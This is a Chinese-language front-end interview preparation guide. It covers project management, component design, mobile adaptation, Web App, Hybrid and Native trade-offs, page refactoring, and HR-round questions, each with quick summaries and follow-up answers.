  2. 浏览器兼容性支持:不同的浏览器和设备有不同的特性和标准支持,前端工程师需要处理这些差异,确保产品在各种浏览器和设备上都能正常运行和呈现一致的用户体验。他们会进行浏览器兼容性测试和适配,以确保产品在不同环境下都能够良好运行。
  3. 性能优化:前端工程师负责优化前端代码和资源加载,以提高网页的加载速度和响应性能。他们会优化代码结构、压缩和合并文件、使用缓存机制等手段,从而减少页面加载时间,提高用户体验。
  4. 跨平台支持:随着移动设备和多平台应用的普及,前端工程师需要适应不同平台和设备的需求,开发跨平台应用或者响应式设计,使产品能够在不同平台上都具备良好的用户体验。
  5. 数据展示和接口支持:前端工程师负责展示后端数据,并通过与后端接口的交互实现数据的获取和处理。他们需要熟悉数据接口的调用和处理,确保数据的准确性和安全性,同时展示给用户的数据呈现清晰、易懂。

总之,前端工程的价值体现在提供良好的用户体验、保证产品在不同浏览器和平台上的兼容性、优化网页性能以及实现数据展示和接口支持等方面。他们为产品的成功和用户满意度做出了重要贡献。

💬 面试官追问

  • 你做过的哪件事最能体现前端的价值?

    用「背景、做法、结果」讲一件就行,结果要有数字,比如包体积减了多少、LCP 降了多少、发布时间从多久缩到多久。没做过大项目,讲一次把重复劳动做成工具也可以。

  • 性能优化做完了,怎么证明对业务有用?

    上线前后对比同一个页面的转化率或跳出率,最好是 A/B 分流,排除活动、季节这些干扰。只拿 Lighthouse 分数说事,业务方不一定买账。

  • 前端基建没有直接产出,怎么让老板看到价值?

    换算成时间和事故。比如脚手架让新项目初始化从一天到十分钟,统一请求层后接口报错类线上问题少了多少,按人天算出来就有说服力了。

  • 都说前端门槛低,你怎么看?

    入门门槛低,做好的门槛不低。能写出页面的人很多,能把一个复杂后台的性能、权限、稳定性兜住,还能让十个人在同一个仓库里高效协作的人不多。

# 5 平时如何管理你的项目

⚡ 30 秒速记

  • 规范靠工具强制:ESLint + Prettier + Stylelint + commitlint,husky + lint-staged 卡在提交前
  • 分支:主干保护,功能分支 + PR 评审,禁止直推主干
  • 目录按业务功能组织,组件、样式、接口就近放,别全按文件类型堆
  • 依赖:锁 lockfile,大版本升级单独提 PR,定期 npm audit
  • 上线有兜底:CI 跑 lint、测试、构建;Sentry 监控、灰度发布、一键回滚

我管项目的思路是:能交给工具强制的规范,就不靠人自觉。 代码风格交给 ESLint 和 Prettier,提交信息用 commitlint 校验,通过 husky 挂在 git commit 上,不合规直接提交不了。分支上主干受保护,所有改动走 PR,CI 跑通测试和构建才能合。上线后有错误监控和回滚预案,出问题先回滚再排查。面试时我建议只挑两三条自己真正落地过的讲,展开说遇到了什么问题、怎么解决的,比背一整份清单有用。

项目管理在前端开发中非常重要,以下是一些常见的项目管理实践:

  1. 确定项目全局约定:团队需要确定全局样式、编码规范、命名约定等,以保证代码的一致性和可维护性。
  2. 统一编码风格:团队成员需要遵循统一的编码风格,例如使用继承式的写法、单样式一行等,以提高代码的可读性和可理解性。
  3. 标注样式和模块:及时在代码中标注关键样式的编写人以及调用的地方,同时对页面进行标注,方便团队成员的理解和协作。
  4. 文件组织结构:将CSS和HTML文件分别放在不同的文件夹中,并统一命名规则,例如使用style.css作为CSS文件的命名。
  5. JS文件管理:将JS文件放在独立的文件夹中,并根据功能进行命名,使用英文翻译来描述其功能。
  6. 图片整合与优化:采用整合的方式使用图片,并使用适当的格式和优化策略,以减少文件大小和提升加载速度。
  7. 规范代码注释:对代码进行详细的注释,包括HTML、JS、CSS等,以提高代码的可读性和可维护性。
  8. 严格要求静态资源存放路径:规定静态资源的存放路径,遵循统一的文件夹结构,方便团队成员查找和管理资源文件。
  9. Git提交说明:在每次提交代码到版本控制系统时,要求团队成员填写清晰的提交说明,描述提交的内容和目的。

这些项目管理实践可以提高团队的协作效率、代码质量和项目可维护性,确保项目的顺利进行和成功交付。

💬 面试官追问

  • 团队里总有人提交时加 --no-verify 跳过检查,怎么办?

    本地钩子本来就挡不住故意跳过的人,所以真正的关卡要放在 CI:PR 上跑一遍同样的 lint 和测试,不过就合不进去。本地钩子只是为了早发现。

  • 项目越来越大,lint-staged 很快,但 CI 跑全量 lint 要十分钟,怎么优化?

    开 ESLint 的 --cache,CI 上把缓存目录持久化;测试按改动文件只跑相关用例;monorepo 用 Turborepo 或 Nx 只构建受影响的包。

  • 目录按功能组织和按类型组织,你选哪个?

    中大型项目按功能。按类型分 components/、api/、styles/,改一个功能要在五个目录之间来回跳;按功能放,删一个模块整个目录删掉就干净了。真正跨业务复用的东西再提到公共目录。

  • 一个依赖要从 v4 升到 v5,你怎么安排?

    单独开分支、单独 PR,先看官方迁移指南和 breaking changes,跑完测试再在测试环境回归。别和业务需求混在同一个 PR 里,出问题都不知道是谁导致的。

  • 新人入职第一天,怎么让他尽快跑起项目?

    README 写清楚 Node 版本、安装命令、环境变量怎么配,最好 .nvmrc 和 .env.example 都放好,一条命令能起来。一个项目新人要问三个人才能跑起来,就是管理没到位。

# 6 组件封装

⚡ 30 秒速记

  • 先分层:基础组件(纯 UI,无业务)→ 业务组件 → 页面,只有基础组件追求通用
  • 接口最小化:props 少而精、有默认值,扩展靠 children/插槽,别无限加配置项
  • 三类扩展点:内容(插槽)、行为(事件回调)、样式(className 透传、CSS 变量)
  • 表单类组件同时支持受控和非受控:value + onChange 和 defaultValue
  • 别漏非功能项:键盘可达和 aria、暗色模式、SSR 兼容、TS 类型和文档

封装组件的关键是先想清楚它是给谁用的,再决定暴露多少接口。 基础组件比如 Button、Modal,要通用,所以 API 要稳、样式可以覆盖;业务组件比如「订单状态卡片」,贴着业务写就好,不用想着全公司复用。我最常提醒的一点是可组合优于可配置:一个弹窗与其加 showFooter、footerText、footerAlign 十个配置,不如开放一个 footer 插槽,让使用方自己传。接口越少,后面越好维护。

组件封装是前端开发中常用的技术手段,它的目的是为了实现代码的重用、提高开发效率和代码质量。在组件封装过程中,需要注意以下几个方面:

  1. 分析布局:首先需要对布局进行分析,确定组件的结构和样式。了解组件在不同场景下的表现形式和行为。
  2. 初步开发:根据布局的分析,开始进行组件的初步开发,包括HTML结构、CSS样式和基本的交互行为。
  3. 化繁为简:在初步开发的基础上,对组件进行优化和简化。去除冗余的代码,提取通用的样式和功能,确保组件的精简和高效。
  4. 组件抽象:在封装组件时,需要将组件的功能进行抽象,使其具有单一的职责和可复用性。将组件的各个部分分离,并提供适当的接口和配置项,使组件的使用更加灵活。

常用的操作包括:

  • 使用合适的命名规范,保证组件的易读性和可维护性。
  • 提供必要的文档和示例,方便其他开发人员使用和理解组件。
  • 尽量降低组件与外部环境的耦合度,使其在不同的项目中都能够灵活使用。
  • 考虑组件的可扩展性,使其能够适应未来的需求变化。
  • 在开发过程中进行测试,确保组件的功能和性能达到预期。

通过良好的组件封装实践,可以提高代码的可维护性、可复用性和可测试性,加快开发速度,减少重复劳动,并提升整体的代码质量。

💬 面试官追问

  • 一个表格组件已经有 30 多个 props 了,还要加新功能,怎么办?

    别再加了,说明抽象出了问题。把可变的部分开成插槽或渲染函数,比如 renderCell、toolbar,常用组合另外包一层业务组件,基础组件保持精简。

  • 组件要同时支持受控和非受控,怎么实现?

    判断 props.value !== undefined 就是受控,用外部的值;否则用内部 state,初始值取 defaultValue。onChange 两种模式都要调用。antd 的组件基本都是这么做的。

  • 使用方想改组件内部某个元素的样式,你怎么开放?

    优先暴露 CSS 变量,比如 --btn-radius,再提供 className 和 style 透传到根元素;需要改内部节点时给稳定的类名或 classNames 对象。不建议让使用方用 :deep 去覆盖内部结构,内部结构一改就全坏了。

  • 自己封装的 Modal 组件,怎么保证可访问性?

    加 role="dialog" 和 aria-modal,打开时焦点移进弹窗,Tab 只在弹窗里循环,Esc 能关,关闭后焦点还给触发按钮。这几条没做,键盘和读屏用户基本没法用。

  • 一个组件只有一个页面在用,要不要封装?

    不急着抽成通用组件,但可以在页面目录里拆成子组件,为的是可读性。等第二个、第三个地方要用,再看看要不要提到公共目录。

# 7 Web 前端开发的注意事项

⚡ 30 秒速记

  • 兼容:用 browserslist 声明目标浏览器,交给 Babel 和 Autoprefixer,别手写 UA 判断
  • 适配:viewport 要设,布局用 flex/grid + 媒体查询,移动端注意安全区 env(safe-area-inset-bottom)
  • 性能:控包体积、图片用现代格式并懒加载、盯 LCP、INP、CLS
  • 安全:输出转义防 XSS、Cookie 设 SameSite 防 CSRF、密钥不进前端
  • 兜底:加载态、空态、错误态都要设计,接错误监控,上线前多机型回归

Web 前端开发我会盯五件事:能适配、能兼容、够快、安全、出错有兜底。 移动端第一件事是写 viewport 的 meta,不然页面会按 980px 宽渲染再缩放;兼容性用 browserslist 统一声明目标,构建工具自动加前缀和转语法。性能上关注 Core Web Vitals 三个指标,安全上防住 XSS 和 CSRF。以前常说的 rem 方案现在不是唯一选择了,很多项目直接用 vw 或者 px 加媒体查询,看设计稿和团队习惯定。

在进行Web前端开发时,有一些注意事项可以帮助你提高开发效率和代码质量,以下是一些常见的注意事项:

  1. 特别设置meta标签viewport:通过设置viewport来适配不同设备的屏幕大小,确保网页在移动设备上有良好的显示效果。
  2. 使用百分比布局宽度:使用百分比来设置元素的宽度,结合box-sizing: border-box;可以更好地适应不同屏幕大小。
  3. 使用rem作为计算单位:使用rem作为字体大小和元素尺寸的计算单位,rem相对于根节点html的字体大小,可以实现响应式的布局。
  4. 使用CSS3新特性:充分利用CSS3提供的新特性,如弹性盒模型、多列布局、媒体查询等,来简化布局和样式的编写,并提升用户体验。
  5. 多机型、多尺寸、多系统覆盖测试:在开发过程中,要充分考虑不同设备、不同屏幕尺寸和不同操作系统的兼容性,进行全面的测试,确保网页在各种环境下都能正常显示和工作。

此外,还有一些其他的注意事项:

  • 优化网页性能:合理使用缓存、压缩资源、减少HTTP请求等方式来提升网页的加载速度和响应性能。
  • 代码规范和可维护性:遵循一致的命名规范,使用合适的注释,拆分模块,保持代码的可读性和可维护性。
  • 跨浏览器兼容性:测试和确保网页在主流浏览器(如Chrome、Firefox、Safari、Edge等)上都能正常运行。
  • 安全性:注意防止常见的Web安全漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。

综上所述,注意这些事项可以帮助你开发出更高质量、更兼容性好的Web前端项目。

💬 面试官追问

  • 移动端页面打开后字特别小,整个页面像被缩小了,最可能是什么问题?

    没写 <meta name="viewport" content="width=device-width, initial-scale=1">,移动浏览器默认按 980px 左右的布局宽度渲染再缩放。

  • iPhone 底部的固定按钮被横条挡住了,怎么处理?

    viewport 里加 viewport-fit=cover,按钮加 padding-bottom: env(safe-area-inset-bottom)。不加 viewport-fit=cover 的话 env() 取到的是 0。

  • 移动端适配现在还用 rem 吗?

    rem + lib-flexible 是 vw 普及前的方案,lib-flexible 官方自己都建议改用 vw 了。新项目我一般用 postcss-px-to-viewport 把设计稿的 px 转成 vw,大屏再用媒体查询限个最大宽度。

  • 用户反馈某个安卓机型页面白屏,开发机都正常,怎么排查?

    先看监控里这个机型有没有报错,常见是用了老内核不支持的语法,比如可选链 ?.,没被转译。检查 browserslist 有没有覆盖到,再看第三方包是不是没走 Babel。

  • 接口挂了,页面应该怎么表现?

    不能白屏或者一直转圈。列表给出错误提示和重试按钮,局部模块失败就只影响那一块,渲染异常用错误边界兜住,同时上报到监控。

# 8 在设计 Web APP 时,应当遵循以下几点

⚡ 30 秒速记

  • 简单:一屏一个重点任务,去掉不必要的动效和装饰
  • 反馈要快:操作 100ms 内有响应,超过 1s 给加载态,长任务能取消
  • 骨架屏比转圈好,图片和广告位预留尺寸,避免 CLS 跳动
  • 手势克制:别和浏览器的边缘返回、下拉刷新冲突,手势操作要有按钮替代
  • 尊重系统设置:暗色模式、prefers-reduced-motion、字体缩放;弱网和离线有提示

设计 Web App 的核心就一句:让用户少等、少想、少出错。 少等,是操作后马上有反馈,加载时用骨架屏让人知道内容在来,图片先占好位置防止页面跳;少想,是每屏只突出一个主要任务,动画只在帮助理解时用;少出错,是手势别和浏览器自带的返回、下拉刷新抢,关键操作有确认和撤销。常听到「少用手势」,我的理解是自定义手势可以有,但一定要有按钮兜底,不然用户根本发现不了。

在设计Web APP时,可以遵循以下几点来提升用户体验和页面效果:

  1. 简化不重要的动画/动效/图形文字样式:避免过度使用动画效果和视觉元素,保持页面简洁和清晰。只在必要的地方使用动画,确保其对用户体验有积极影响。
  2. 少用手势,避免与浏览器手势冲突:在设计交互时,尽量减少需要用户进行复杂手势操作的情况,避免与浏览器自带手势产生冲突。保持用户操作的简洁性和一致性。
  3. **减少页面内容和跳转次数:优化页面内容,保持简洁明了,尽量在当前页面展示所需的信息和功能,避免频繁的页面跳转。通过局部刷新、异步加载等技术手段来提升用户体验和页面加载速度。
  4. 增强Loading趣味性,增强页面主次关系:在加载过程中,可以设计有趣的加载动画或提示,提高用户的等待体验。同时,通过合适的页面布局和元素设计,突出页面的主要内容和功能,帮助用户更快地获取所需信息。

综上所述,遵循以上设计原则可以使Web APP在用户体验和页面效果方面更出色,提供更好的用户体验和用户参与感。

💬 面试官追问

  • 页面里做了个左滑返回的手势,用户反馈在 iOS Safari 上经常误触,为什么?

    和 Safari 自带的边缘右滑返回冲突了,两个手势在抢同一个区域。一般不在页面里重做系统已有的手势,非要做就避开屏幕边缘,并加 overscroll-behavior 控制滚动链。

  • 加载要 3 秒,用转圈还是骨架屏?

    骨架屏。它提前画出了内容的大致结构,用户感觉内容快到了,主观等待更短,而且内容出来时布局不跳。转圈适合按钮提交这种短操作。

  • 图片加载出来时页面往下一跳,用户点错了按钮,怎么修?

    给图片写上 width、height,或者容器用 aspect-ratio 占位,浏览器在图片回来前就能留好空间。这就是 CLS 指标在量的东西。

  • 用户系统开了「减少动态效果」,你的页面要做什么?

    用 @media (prefers-reduced-motion: reduce) 关掉或简化大幅位移、视差和自动播放动画,保留淡入淡出这种轻量的。对晕动症用户这不是锦上添花,是必需的。

  • 弱网下点了提交按钮没反应,用户连点五次,怎么设计?

    点击后按钮立刻进入 loading 并禁用,超时给明确提示和重试入口,后端用请求 id 做幂等,就算真发了五次也只生效一次。

# 9 你怎么看待 Web App/hybrid App/Native App?(移动端前端 和 Web 前端区别?)

⚡ 30 秒速记

  • Web App:浏览器打开即用、发版即时、成本最低;设备能力受限,iOS 上 PWA 能力长期落后(推送要 iOS 16.4+ 且须加到主屏)
  • Hybrid App:原生壳 + WebView,JSBridge 调原生能力,迭代快;性能受 WebView 限制,安卓内核碎片化
  • Native App:体验和能力最好,但双端开发、发版要审核
  • 中间方案:React Native、Flutter 一套代码多端接近原生;小程序分发强但受平台规则限制
  • 移动端前端多出来的事:触摸和手势、安全区、机型碎片化、弱网、离线包、和原生的通信与路由协同

这三种没有谁更好,选型看三件事:对性能和设备能力的要求、迭代要多快、团队是什么技术栈。 活动页、营销页这种改得勤、生命周期短的,用 Web 就够;电商、资讯这类主体用原生,活动和详情页嵌 H5,就是 Hybrid,兼顾发版速度和体验;相机、音视频、重动画这种强依赖性能的,还是原生或 Flutter。说 Hybrid 「技术尚不成熟」是老黄历了,现在主流 App 几乎都是混合架构,配合离线包,打开速度和原生差距不大。

时序图 · 4 个参与者 / 9 步
alt 已授权用户拒绝授权H5 页面H5 页面JSBridgeJSBridge原生 App原生 App系统相机系统相机调用 scan,登记回调 id1转发调用和参数2检查相机权限3打开扫码4返回扫码结果5通过 evaluateJavascript 回传结果6按回调 id 执行 callback7返回权限错误8callback 收到错误,提示去设置开启9
  • Web App(HTML5):采用HTML5生存在浏览器中的应用,不需要下载安装
    • 优点:开发成本低,迭代更新容易,不需用户升级,跨多个平台和终端
    • 缺点:消息推送不够及时,支持图形和动画效果较差,功能使用限制(相机、GPS等)
  • Hybrid App(混合开发):UI WebView,需要下载安装
    • 优点:接近 Native App 的体验,部分支持离线功能
    • 缺点:性能速度较慢,未知的部署时间,受限于技术尚不成熟
  • Native App(原生开发):依托于操作系统,有很强的交互,需要用户下载安装使用
    • 优点:用户体验完美,支持离线工作,可访问本地资源(通讯录,相册)
    • 缺点:开发成本高(多系统),开发成本高(版本更新),需要应用商店的审核

移动端前端和Web前端在某些方面存在区别,如下所示:

  1. 开发环境和技术:移动端前端主要面向移动设备,需要熟悉移动端的开发环境和相关技术,如React Native、Flutter、Ionic等。而Web前端则主要面向浏览器,使用HTML、CSS、JavaScript等技术进行开发。
  2. 用户体验和交互:移动端前端需要更关注移动设备的特性和用户体验,例如触摸操作、手势识别、屏幕适配等,以提供更好的移动端交互体验。而Web前端则更注重页面的响应式设计和跨浏览器兼容性,以确保在不同浏览器和设备上的良好表现。
  3. 功能支持和限制:移动端前端开发可能会受到一些限制,如对设备资源的访问(相机、GPS等)、消息推送的限制等。而Web前端在功能上较为灵活,可以通过浏览器提供的API和插件来实现一些高级功能。
  4. 部署和更新:移动端前端需要通过应用商店进行发布和更新,需要经过审核和下载安装。而Web前端则可以直接通过URL访问,无需下载安装,便于部署和更新。

综上所述,移动端前端和Web前端在开发环境、用户体验、功能支持和部署等方面存在一些区别,开发者需要根据具体需求和平台选择合适的开发方式。同时,随着技术的不断发展,Hybrid App和Web App的出现使得移动端前端在一定程度上能够接近Native App的体验。

💬 面试官追问

  • H5 页面里怎么调起原生的扫码?

    通过 JSBridge:常见做法是原生往 WebView 注入一个全局对象,H5 调 bridge.call('scan', params, callback),原生执行完再通过 evaluateJavascript 回调 JS。早期也有用拦截自定义 URL Scheme 的,现在一般用注入,速度快、没有长度限制。

  • App 里的 H5 页面首次打开要白屏 2 秒,从哪几个方向优化?

    WebView 初始化本身就要几百毫秒,可以让原生预创建 WebView 复用;资源做离线包,HTML、JS 直接从本地读;接口在原生打开页面时并行预请求。三者叠加,首屏能做到接近原生。

  • PWA 能不能替代 App?

    安卓上差不多能做一部分,iOS 上不行。iOS 16.4 才支持加到主屏后的 Web Push,后台能力、存储配额都受限,而且用户得手动添加到主屏,分发效率比应用商店差很多。

  • React Native 和 Flutter 怎么选?

    团队是前端为主、想复用 React 经验,选 RN,新架构去掉了旧 Bridge,性能差距缩小了不少;对 UI 一致性和动画要求高、愿意学 Dart,选 Flutter,它自己绘制,双端长得完全一样。

  • Hybrid 里 H5 页面怎么和原生共享登录态?

    常见是原生在打开 WebView 前把 token 写进 Cookie,或者 H5 启动时通过 JSBridge 向原生要。别把 token 拼在 URL 里,会进日志和 Referer。

# 10 页面重构怎么操作

⚡ 30 秒速记

  • 先盘点再动手:页面结构、样式依赖、交互逻辑,哪些在用、哪些是死代码
  • 先加保护网:关键路径 E2E 或截图对比,没有回归手段不敢动
  • 定可量化的目标:LCP、包体积、Lighthouse 无障碍分,重构前后对比
  • 结构 → 样式 → 脚本分层做:语义化 HTML、CSS 变量和分层、DOM 操作从业务逻辑里拆出来
  • 小步替换、按模块灰度上线,每步可回滚,别一次性全量切

页面重构我一般分三段:先摸清现状、定好目标,再搭保护网小步改,最后用数据验收。 摸现状是搞清楚哪些代码在用、哪些样式被谁依赖,不然一删就出事;目标要能量化,比如首屏从 3s 到 1.5s,包体积减一半,否则重构做完没人知道值不值。动手时先有截图对比或 E2E 兜底,然后按模块一块块替换,每块单独上线、出问题单独回滚。最怕的是憋三个月一次性切换,问题全堆在上线那天。

页面重构是对网站或应用程序进行优化和改进的过程,旨在提高页面性能、用户体验和代码可维护性。以下是页面重构的一般操作步骤:

  1. 分析和评估:首先,对现有页面进行全面的分析和评估。确定需要改进的方面,如页面加载速度、响应性能、代码结构等。
  2. 设计和规划:根据分析的结果,设计新的页面结构和布局,并规划重构的步骤和优化策略。确保重构后的页面能够提供更好的用户体验和性能。
  3. HTML重构:根据设计和规划,对HTML代码进行重构。优化标签的结构和语义化,使用合适的标签和属性,去除冗余代码和不必要的嵌套。
  4. CSS重构:对CSS样式进行重构,优化样式的选择器和属性的使用。遵循CSS规范,减少样式冗余,提高样式的复用性和可维护性。
  5. JavaScript重构:对JavaScript代码进行重构,优化代码的结构和逻辑。使用模块化开发和设计模式,减少全局变量的使用,提高代码的可读性和可维护性。
  6. 图片和资源优化:对页面中的图片和其他资源进行优化,压缩文件大小,提高加载速度。使用合适的图片格式,使用雪碧图或矢量图标减少HTTP请求。
  7. 响应式设计:考虑不同设备和屏幕尺寸的适配,使用响应式布局和媒体查询,确保页面在不同设备上具有良好的展示效果。
  8. 性能优化:优化页面的性能,包括减少HTTP请求,使用缓存机制,延迟加载和异步加载资源,合理使用CSS和JavaScript动画效果等。
  9. 测试和调试:在重构完成后,进行全面的测试和调试,确保页面在不同浏览器和设备上正常运行,并验证重构的效果和改进是否符合预期。
  10. 部署和上线:将重构后的页面部署到生产环境,并监控其性能和用户反馈。根据反馈和数据进行进一步的优化和改进。

页面重构是一个综合性的工作,需要综合考虑页面结构、样式、脚本和性能等方面的优化。通过合理的规划和操作,可以提升页面的质量、性能和用户体验。

# 十一、HR面相关

💬 面试官追问

  • 老页面 CSS 里满是 !important,删一个就有别处样式乱,怎么下手?

    先上视觉回归,用 Playwright 截图对比关键页面,任何像素变化都能看到。然后用 CSS Modules 或 @layer 给新样式建隔离层,新旧并存,一个模块迁完再删对应的旧样式。

  • 这次重构是从 jQuery 迁到 React,可以逐步迁吗?

    可以。在老页面里挑一块独立区域,用 createRoot 把 React 组件挂到那个容器上,其他部分保持不动,一块块替换,最后再整体切路由。

  • 怎么证明重构后的页面比原来好?

    用重构前定好的指标对比:同样的网络条件下 LCP、INP 的线上 RUM 数据,包体积,还有这块代码后续改需求的平均耗时和缺陷数。

  • 重构过程中业务还在加需求,两边冲突怎么办?

    新需求直接在新结构上做,不再往老代码里加。如果新结构那块还没迁完,就先迁那块再做需求,等于让业务需求驱动重构进度。

  • 哪些情况你会建议不重构,直接重写?

    技术栈已经没人维护、核心逻辑也要大改、而且页面规模不大的时候,重写比小步重构成本低。但大页面重写风险很高,至少要并行跑一段时间,用灰度对比验证。

# 常见问题

⚡ 30 秒速记

  • HR 面不考技术,看三件事:稳不稳定(会不会很快走)、匹不匹配(能不能干这活)、好不好共事
  • 讲经历用 STAR:背景 → 任务 → 我具体做了什么 → 结果(最好带数字)
  • 自我介绍 1~2 分钟:现在在做什么 + 一个和岗位最相关的项目亮点 + 为什么投这里
  • 少用「负责、熟悉、热爱」这种形容词,换成具体事例和数字
  • 最后的提问环节别空着,问团队、业务阶段、技术挑战,薪资福利留给谈 offer 时再问

这些常见问题没有标准答案,面试官想听的是你的真实经历能不能对上这个岗位。 比如问项目难点,别只说「我负责了性能优化」,要说页面原来多慢、你查到卡在哪、改了什么、最后快了多少。问缺点、离职原因、加班这类敏感题,坦诚但有分寸,别抱怨前东家。结束时让你提问,我建议准备两三个关于团队和业务的问题,这既是了解对方,也能让对方看到你是认真想来的。

  1. 自我介绍
    • 自我介绍时,可以提及个人的背景、教育经历、工作经验和技能特长,突出与应聘职位相关的成就和能力。
  2. 面试完你还有什么问题要问的吗?
    • 可以问一些之前提到的关于公司、部门、团队、项目以及职位的问题,以进一步了解潜在工作机会的细节和整体情况。
  3. 你有什么爱好?
    • 可以提及个人的爱好和兴趣,例如读书、旅行、运动、音乐、社交活动等。这能够展示你的多元化和个人生活外的兴趣领域。
  4. 你最大的优点和缺点是什么?
    • 在回答这个问题时,可以结合个人的实际情况,提及你在工作中表现出的优点,如团队合作、自我驱动、问题解决能力等,并且诚实地提及你认为的改进空间或缺点,并说明你在努力改进。
  5. 你为什么会选择这个行业、职位?
    • 可以分享个人对该行业的兴趣和热爱,以及对相关技能和挑战的认可。强调个人与该行业、职位的契合度,以及追求个人发展和成长的动力。
  6. 你觉得你适合从事这个岗位吗?
    • 回答时可以结合个人的技能、经验和特长,阐述为什么你认为自己是一个适合该岗位的人选,并举例说明相关的工作经历和成就。
  7. 你有什么职业规划?
    • 可以分享个人在未来职业发展方面的目标和计划,例如短期和长期的职业规划、技能提升和学习的重点,以及希望在哪些方面取得进展和成就。
  8. 你对工资有什么要求?
    • 在回答这个问题时,可以表达对市场薪资的了解,并根据个人的技能、经验和职位要求,提出一个合理的薪资范围,同时强调自己对工作内容和发展机会的重视。
  9. 如何看待前端开发?
    • 可以表达对前端开发的重要性和价值的认识,以及对前端技术的兴趣和热情。可以提及前端在用户体验和界面设计方面的作用,以及前端与后端、设计团队的紧密合作,共同构建出优秀的产品和应用的重要性。
    • 同时,可以强调前端开发的快速发展和不断演进的特点,需要不断学习和跟进最新的技术趋势和工具,以提供最佳的用户体验和响应式的界面设计。可以谈论自己对前端技术的持续学习和探索,并且强调自己愿意面对前端开发中的挑战和解决复杂问题的能力。
    • 此外,可以提及前端开发在移动端和跨平台开发方面的重要性,以及在不同浏览器和设备上保持一致性的挑战。最重要的是,强调自己对前端开发的热情和对构建出优质用户体验的追求。
  10. 未来三到五年的规划是怎样的?
  • 可以描述个人在未来三到五年内希望在职业发展方面达到的目标和计划。可以包括技术方面的深入学习、项目管理经验的积累、团队领导能力的提升等方面。
  1. 你的项目中技术难点是什么?遇到了什么问题?你是怎么解决的?
  • 可以选择一个具体的项目经历,描述其中遇到的技术难点和问题,并详细说明你是如何面对挑战、寻找解决方案以及最终解决问题的经验和能力。
  1. 你们部门的开发流程是怎样的?
  • 可以询问对方关于公司部门的开发流程、敏捷开发方法、版本控制工具等方面的情况,以了解公司在软件开发过程中的组织方式和团队协作模式。
  1. 你认为哪个项目做得最好?
  • 可以选择一个你参与过或者熟悉的项目,介绍其中的亮点、成就和对团队和业务的贡献,突出个人在项目中的角色和贡献。
  1. 说下工作中你做过的一些性能优化处理。
  • 可以提及个人在项目中对性能优化方面所做的工作,例如代码优化、资源压缩、缓存策略、异步加载等方法,以及通过性能测试和监控来评估和改进应用的性能。
  1. 最近在看哪些前端方面的书?
  • 可以分享个人最近阅读的与前端开发相关的书籍,可以是关于新技术、前端框架、设计模式、性能优化等方面的书籍,以展示自己对前端领域的持续学习和进展。
  1. 平时是如何学习前端开发的?
  • 可以描述个人平时学习前端开发的方法和途径,例如阅读技术博客、参与在线课程、实践项目、参加技术交流会议等,以展示自己的学习能力和对前端领域的持续关注。
  1. 你最有成就感的一件事
  • 可以分享个人在工作或项目中取得的最有成就感的经历,强调个人的努力、贡献和团队合作所取得的成果,突出自己的成就和价值。
  1. 你为什么要离开前一家公司?
  • 在回答这个问题时,可以提及离职的原因,例如寻求更好的职业发展机会、追求个人成长和挑战、寻找更适合自己的工作环境等。重点强调离职的决策是出于个人发展和职业目标的考虑。
  1. 你对加班的看法?
  • 可以表达个人对加班的态度和看法。可以强调平衡工作和生活的重要性,同时指出愿意在关键时期适当加班以完成任务,但也强调重视工作效率和合理分配工作时间的重要性。
  1. 你希望通过这份工作获得什么?
  • 可以说明个人对这份工作的期望和目标,例如获取更丰富的经验和技能、发展个人的专业能力、与优秀的团队合作、为公司的成功做出贡献等。重点强调自己对工作的积极态度和对职位的热情。

请注意,以上只是一些常见问题的示例回答,具体回答应根据个人实际情况进行调整和提炼,以展现个人的优势、能力和适应性。同时,回答问题时要真实、坦诚,与面试官进行积极互动,展现自己的价值和潜力。

前端常见面试流程

最后一个问题:面试官问,你想了解什么(面试一定要问这几个问题)

当面试官问到你有什么想了解的问题时,以下是一些问题可以提出:

  1. 关于部门和业务:
    • 可以请面试官介绍一下该部门所负责的产品和业务领域,了解其在行业中的地位和竞争优势。
    • 询问产品的用户规模和市场份额,以了解产品的受欢迎程度和发展潜力。
  2. 关于团队和角色:
    • 询问部门的规模和组成,包括团队人数和各个角色的分布,以了解团队的规模和组织结构。
    • 可以问一下团队中的协作方式和沟通流程,以了解团队的工作氛围和协作效率。
  3. 关于技术栈和项目:
    • 可以请面试官介绍一下当前项目所使用的技术栈和开发工具,了解技术栈的现状和是否与自己的技术背景匹配。
    • 询问有关技术团队的技术发展和创新方向,以了解团队在技术上的前瞻性和成长空间。

这些问题可以帮助你更好地了解潜在工作机会的方方面面,包括产品、团队和技术等关键要素。同时,通过提出这些问题,你还能展现出你对公司和职位的兴趣,并显示出你对细节和整体情况的关注。

💬 面试官追问

  • 自我介绍你会把简历上的项目挨个念一遍吗?

    不会。简历面试官手里有,念一遍等于浪费时间。挑一个和这个岗位最贴的项目,讲清楚难点和结果,给面试官一个能接着往下问的钩子。

  • 问你「最近在看什么书」,其实没怎么看书,怎么答?

    别编书名,被追问一章内容就露馅。可以说最近在看哪个框架的源码、哪几篇官方文档或 RFC,讲一个你真学到的点,比报书名有说服力。

  • 「你认为做得最好的项目」和「技术难点」能讲同一个吗?

    可以,但角度要分开。前者讲你在项目里的角色和对业务的贡献,后者讲具体卡在哪、怎么排查、怎么解决。同一个项目讲两遍一样的话,面试官会觉得你只有这一个项目。

  • 面试最后问「你还有什么问题」,问加不加班合适吗?

    直接问容易显得在挑工作,可以换个问法:「团队平时的迭代节奏大概是怎样的?上线前一般怎么安排?」能拿到同样的信息,语气也更自然。

  • 被问「你怎么看前端开发」,怎么答才不空?

    别讲「前端很重要、发展很快」这种谁都能说的话。结合自己的经历说一个判断,比如前端越来越多地参与工程化、性能和体验指标,你在这方面做过什么,打算往哪个方向深入。

# 你觉得你有哪些不足之处

⚡ 30 秒速记

  • 只聊技术上的不足,别聊性格和习惯(迟到、拖延、不会沟通)
  • 选非核心技术栈:应聘 Vue 岗就别说「Vue 没实践过」
  • 选容易补的:「Node.js 还要深入」可以,「完全不懂 React」范围太大,补不上
  • 结构:不足是什么 + 已经在做什么 + 预计什么时候补齐
  • 别用「我太追求完美」这种假缺点,HR 一听就知道是套话

我会挑一个真实存在、但不影响岗位核心能力的技术短板来说,再讲清楚我正在怎么补。 比如应聘业务前端,我可以说 Node.js 只写过一些简单的脚本和 BFF 接口,对它的进程模型、性能排查还不够熟,最近在跟着官方文档系统看,周末会写小工具练手。这样说既真实,也让面试官看到你有自我认知和改进的行动。千万别说核心栈没实践过,这等于直接告诉对方你不匹配。

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)
  • 但我已意识到并开始学习
  • 我估计在xx时间把这块给补齐
